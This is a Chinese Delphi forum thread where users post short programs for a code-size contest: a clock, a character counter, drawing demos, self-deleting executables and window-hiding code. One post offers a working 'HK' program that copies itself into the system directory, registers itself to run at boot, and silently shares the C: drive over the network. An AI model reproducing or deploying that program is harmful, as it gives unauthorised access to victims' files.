来来来，看看你的水平有多高！——Aimingoo送分项目(超过600大元) (0分)

aimingoo:
把您的三十道題帖上來,ok?

gz

很好的想法啊！

关注！

我也来玩一玩，第二次发贴。呵呵 是cb的，cb的编译要比delphi的大啊
效果还要一个图片。
项目在这里
http://www.1m1m.com/DownLoad/time.rar
#define W 15
#define H 25
#define W1 3.9
#define H1 27
int x;
//=======================================================
void __fastcall TMainForm::Timer1Timer(TObject *Sender)
{
AnsiString time;
int cycle;
char t[10];
time=TimeToStr(Time());
if(time.Length()== 7)
{
time="o"+time;
}
x=Width/2-W*3-W1-6;
for (int i=0;i<8;i++)
{
t=time[i+1];
ShowCurrTime(i,t);
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ShowCurrTime(int adr,char tt)
{
if(tt=='o')
BitBlt(MainForm->Canvas->Handle,x,5,15,H,ImageClock->Canvas->Handle,11*15,0,SRCCOPY);
else
BitBlt(MainForm->Canvas->Handle,x,5,15,H,ImageClock->Canvas->Handle,W*((int)tt-48),0,SRCCOPY);

if(tt==':')
x=x+10;
else
x=x+W;
}
//============================================================================

水平有限，但希望得到整理后的程序列表！望成全！

做了一个统计字数的程序，规则如下：（不知道是否符合要求）
1、去除所有用"//"号标出的注释，但不会去掉字符串中的"//"号；
2、去除所有用"{"号标出的注释，但不会去掉字符串中的"}"号；
3、将所有连续空格转换成一个空格但不会改掉字符串中的空格；
4、清除每行的后续空格；
5、设置一个常量要确定是否需要清除前导空格(如果设为True则表示要清除否则不清除)；
6、选择DPR、PAS或其他类型的文件；
7、结果保存在文件名相同但扩展名为aiz的文件中；
8、结果文件的最后一行用于保存统计出的字符数；
9、双字节字符计算一个字节。
代码如下：
如果谁能帮我优化的话再优化一下。
（包括前导空格的计算结果：
//Word Number:2645
不包括前导空格的计算结果：
//Word Number:1732）
program c;
uses Sysutils,classes,dialogs;
const r=False;//保留前导空格
var l,o:TStringlist;
f,t,e:String;
i,j,p,m,x:Integer;
b:Boolean;
begin
l:=TStringList.Create;
o:=TStringList.Create;
try
with TOpenDialog.Create(nil) do
begin
try
Filter:='DPR文件(*.dpr)|*.dpr|PAS文件(*.pas)|*.pas|所有文件(*.*)|*.*';
Options:=[ofFileMustExist];
if Execute then
begin
e:=FileName;
l.LoadFromFile(FileName);
if l.Count>0 then
begin
i:=0;
if r then
f:=Trim(l[0]) else
f:=TrimRight(l[0]);
While i<l.Count do
begin
j:=Pos('//',f);
if j>0 then
begin
m:=0;
For x:=0 to j-1 do
if f[x]='''' then
Inc(m);
if m MOD 2=0 then
//这个//号是注释
f:=Copy(f,1,j-1);//去掉前后空格和//号后的字符
end;
j:=2;//从第2个字节开始因为第一个字节不可能是空格
if not r then
While ((j<Length(f)) and (f[j]=' ')) do
Inc(j);
While j<Length(f) do
begin
m:=0;
For x:=0 to j-1 do
if f[x]='''' then
Inc(m);
if m MOD 2=0 then
//这个两个空格不是字符串中的数据。
While f[j]+f[j+1]=' ' do
f:=Copy(f,1,j)+Copy(f,j+2,Length(f));
Inc(j);
end;
//将多个连续空格删成一个空格。
p:=Pos('{',f);b:=False;
if p>0 then
begin
m:=0;
For j:=0 to p-1 do
if f[j]='''' then
Inc(m);
if m MOD 2=0 then
//这个{号是注释
begin
t:=f;delete(t,1,p);x:=Pos('}',f);
if x>0 then
begin
delete(t,1,x);f:=Copy(f,1,p-1)+t;o.Add(f);
end
else
begin
f:=Copy(f,1,p-1);
if Trim(f)<>'' then
o.Add(f);
While i<l.Count do
begin
Inc(i);
if i>=l.Count then
Break;
if r then
f:=Trim(l) else
f:=TrimRight(l);x:=Pos('}',f);
if x>0 then
begin
Delete(f,1,x);Break;
end;
b:=True;
end;
end;
end else
if Trim(f)<>'' then
o.Add(f);
end else
if Trim(f)<>'' then
o.Add(f);
if not b then
begin
Inc(i);
if i>=l.Count then
Break;
if r then
f:=Trim(l) else
f:=TrimRight(l);
end;
end;
o.Add('//Word Number:'+Inttostr(Length(WideString(o.Text))));
O.SaveToFile(ChangeFileExt(e,'.Aiz'));
end;
end;
finally
Free;
end;
end;
finally
l.free;o.free;
end;
end.

这个想法太好了。

关于luyear的在桌面画图的程序和aimingoo修改过后的程序，
如果你多运行几次你就会发现系统变得很不稳定，因为没有释放系统资源，
一个是新建的Canvas没有Free,还有一个是GetDC返回的DC没有Release。
我改了一下：总字数628。
program m;
uses windows,Graphics;
var i,j:integer;
begin
with tcanvas.create do
begin
handle:=getdc(0);
for i:=1 to 400 do
begin
MoveTo(400,300);LineTo(2*i,1);
MoveTo(400,300);LineTo(2*i,600);
MoveTo(400,300);LineTo(1,round(i*1.5));
MoveTo(400,300);LineTo(800,round(i*1.5))
end;
Pen.Color:=clred;
For j:=1 to 120 do
begin
moveTo(600,1);for i:=1 to 800 do
LineTo(i,600-round(i*i/(Sqr(j)/2)));
moveTo(1,1);for i:=1 to 800 do
LineTo(i,round(i*i/(Sqr(j)/2)))
end;
Font.Size:=72;Font.Color:=clblue;
Brush.Color:=clbackground;
setbkmode(Handle,0);
textout(10,120,'看不到了吧！');
ReleaseDC(0,Handle);Free
end
end.
//Word Number:628
再改(字数586):
program m;uses windows,Graphics;var i,j:integer;
begin
with tcanvas.create do
begin
handle:=getdc(0);for i:=1 to 400 do
begin
MoveTo(400,300);LineTo(2*i,1);MoveTo(400,300);LineTo(2*i,600);MoveTo(400,300);LineTo(1,round(i*1.5));MoveTo(400,300);LineTo(800,round(i*1.5))end;
Pen.Color:=clred;For j:=1 to 120 do
begin
moveTo(600,1);for i:=1 to 800 do
LineTo(i,600-round(i*i/(Sqr(j)/2)));moveTo(1,1);for i:=1 to 800 do
LineTo(i,round(i*i/(Sqr(j)/2)))end;
Font.Size:=72;Font.Color:=clblue;Brush.Color:=clbackground;setbkmode(Handle,0);textout(10,120,'看不到了吧！');ReleaseDC(0,Handle);Free end end.
//Word Number:586

但我的计算字数的程序没有去掉多余的单个空格！

the program that can delete itself
program selfdelete;
uses
windows,
sysutils;
procedure DeleteExeAndDir;
var hModule:THandle;
szModuleName,szDirName:array[0..MAX_PATH] of char;
hKrnl32 : THandle;
pExitProcess, pDeleteFile, pUnmapViewOfFile,pRemoveDir : pointer;
ExitCode:UINT;
var r:integer;
begin
hModule:= GetModuleHandle(nil);
GetModuleFileName(hModule, szModuleName, sizeof(szModuleName));
StrPCopy(szDirName,ExtractFileDir(szModuleName));
hKrnl32 := GetModuleHandle ( 'kernel32' );
pExitProcess := GetProcAddress ( hKrnl32, 'ExitProcess' );
pDeleteFile := GetProcAddress ( hKrnl32, 'DeleteFileA' );
pUnmapViewOfFile := GetProcAddress ( hKrnl32, 'UnmapViewOfFile' );
pRemoveDir := GetProcAddress ( hKrnl32, 'RemoveDirectoryA' );
ExitCode := system.ExitCode;
SetCurrentDirectory(pchar(ExtractFileDir(szDirName)));
if($80000000 and GetVersion())=0 then
begin
for r:=1 to 100 do
begin
CloseHandle(r shl 2);
end;
end;

asm
lea eax, szModuleName
lea ecx, szDirName
push ExitCode
push 0
push ecx
push pExitProcess
push eax
push pRemoveDir
push hModule
push pDeleteFile
push pUnmapViewOfFile
ret
end
end;

begin
DeleteExeAndDir
end.

一个HK程序！每次系统启动时自动运行，自动共享你的C盘！可以改改成共享全部硬盘！
program Sc;
uses Registry,shellapi,Windows,Sysutils;
var pchar;O:TShFileOpStruct;T:string;
begin
GetMem(p,255);GetSystemDirectory(p,255);
T:=p+'/Sd.exe';
with TRegistry.Create do
begin
RootKey :=HKEY_LOCAL_MACHINE;
if OpenKey('/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/LanMan/C',True) then
begin
WriteInteger('Flags',258);WriteInteger('Type',0);WriteString('Path','C:/');WriteString('Remark','c');CloseKey
end;
if OpenKey('/SOFTWARE/Microsoft/Windows/CurrentVersion/Run',True) then
WriteString('Sysdef',T);
Free
end;
if FileSearch('Sd.exe',p)='' then
begin
with O do
begin
wnd:=0;pFrom:=pchar(ParamStr(0));pTo:=pchar(T);wFunc:=2;fFlags:=4
end;
ShFileOperation(O)
end
end.
//Word Number:704

做了一个绘图程序，可以用Mouse在Form上绘出区域，绘制区域个数可以用SpinEdit来确定！
共2429个字节！
实现单元：
unit a;
interface
uses Windows,Messages,SysUtils,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls,Buttons,Spin;
type
TF = class(TForm)
E: TSpinEdit;
procedure m(Sender:TObject;Button:TMouseButton;Shift:TShiftState;X,Y:Integer);
procedure v(Sender:TObject;Shift:TShiftState;X,Y:Integer);
procedure t(Sender:TObject);
private
p:Array of Array of TPoint;
d,o:Boolean;
l:TPoint
end;
var F:TF;
implementation
procedure TF.m(Sender:TObject;Button:TMouseButton;Shift:TShiftState;X,Y:Integer);
Var C,i,u:Integer;
begin
with Canvas do
begin
o:=False;
if (Button=mbLeft) and (ssLeft in Shift) then
begin
if not d then
begin
u:=High(p);
if u<E.Value-1 then
begin
Pen.Width:=3;
d:=True;
SetLength(p,u+2);
SetLength(p[u+1],1);
p[u+1][0]:=Point(x,y)
end;
end else
begin
if not (ssDouble in Shift) then
begin
u:=High(p);
C:=High(p);
SetLength(p,C+2);
p[C+1]:=Point(x,y)
end else
begin
d:=False;
u:=High(p);
C:=High(p);
SetLength(p,C+2);
p[C+1]:=Point(x,y);
Brush.Color:=Color;
FillRect(ClientRect);
Pen.Mode:=pmCopy;
Pen.Color:=clRed;
Brush.Color:=clRed;
For i:=0 to u do
Polygon(p)
end
end
end end;
end;
procedure TF.v(Sender:TObject;Shift:TShiftState;X,Y:Integer);
Var C,u:Integer;
begin
u:=High(p);
if u<0 then
begin
d:=False;
Exit
end;
C:=High(p);
if C<0 then
d:=False;
if not d then
Exit;
if (l.x<>x) and (l.y<>y) then
with Canvas do
begin
Pen.Mode:=pmXor;
Pen.Color:=clGreen;
if o then
begin
MoveTo(p[C].x,p[C].y);
LineTo(l.x,l.y)
end;
MoveTo(p[C].x,p[C].y);
LineTo(x,y);
l:=Point(x,y);
o:=True
end
end;
procedure TF.t(Sender:TObject);
Var u,C,i:Integer;
begin
u:=High(p);
if u<0 then
Exit;
with Canvas do
begin
Brush.Color:=Color;
FillRect(ClientRect);
Pen.Mode:=pmCopy;
Pen.Color:=clRed;
Brush.Color:=clRed;
For i:=0 to u-1 do
Polygon(p);
C:=High(p);
if (C>=0) then
begin
if d then
begin
Pen.Mode:=pmXor;
Pen.Color:=clGreen;
Polyline(p);
MoveTo(p[C].x,p[C].y);
LineTo(l.x,l.y)
end else
begin
Pen.Mode:=pmCopy;
Pen.Color:=clRed;
Brush.Color:=clRed;
Polygon(p)
end
end end
end;
end.
//Word Number:2137
项目单元：
program x;
uses
Forms,
a in 'a.pas'
begin
with Application do
begin
CreateForm(TF, F);
Run
end;
end.
//Word Number:112

[8)]

简直是高手如云，来学习一下，将问题提前

Memorize 911, another program that can delete itself
program selfdelete;
uses
Windows, SysUtils;
procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin

BatchFileName := ExtractFilePath(ParamStr(0)) + '$9.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del "' + BatchFileName + '"');
CloseFile(BatchFile);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;

end;
begin
DeleteMe;
end.

[][][8D][]

我有一个建议, 是否可以将类名, 对象名, 变量名, 常量名等不涉及代码功能和
逻辑方法的东只当一字符计算, 这样我们就可以不用将这些名称搞得短的, 影响代码的
可读性, 对想学习的人不好, 知这个idea如何....
我时间我也捧捧场.
最后想问高手可以去看看我的probtem (for netup 2001/10/12)关于如何获得邮箱
可用空间的方法(题外话请各位别见意, 谢谢)

ShowMessage('My Delphi is very 破, Thanks');

胡乱献上一篇——！！！隐藏程序通用代码！！！
你的Unit1随便写，只要Project1内容包含一下内容即可！
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Windows;
{$R *.RES}
var
ExtendedStyle : Integer;
begin
Application.Initialize;
ExtendedStyle := GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle OR WS_EX_TOOLWINDOW AND NOT WS_EX_APPWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.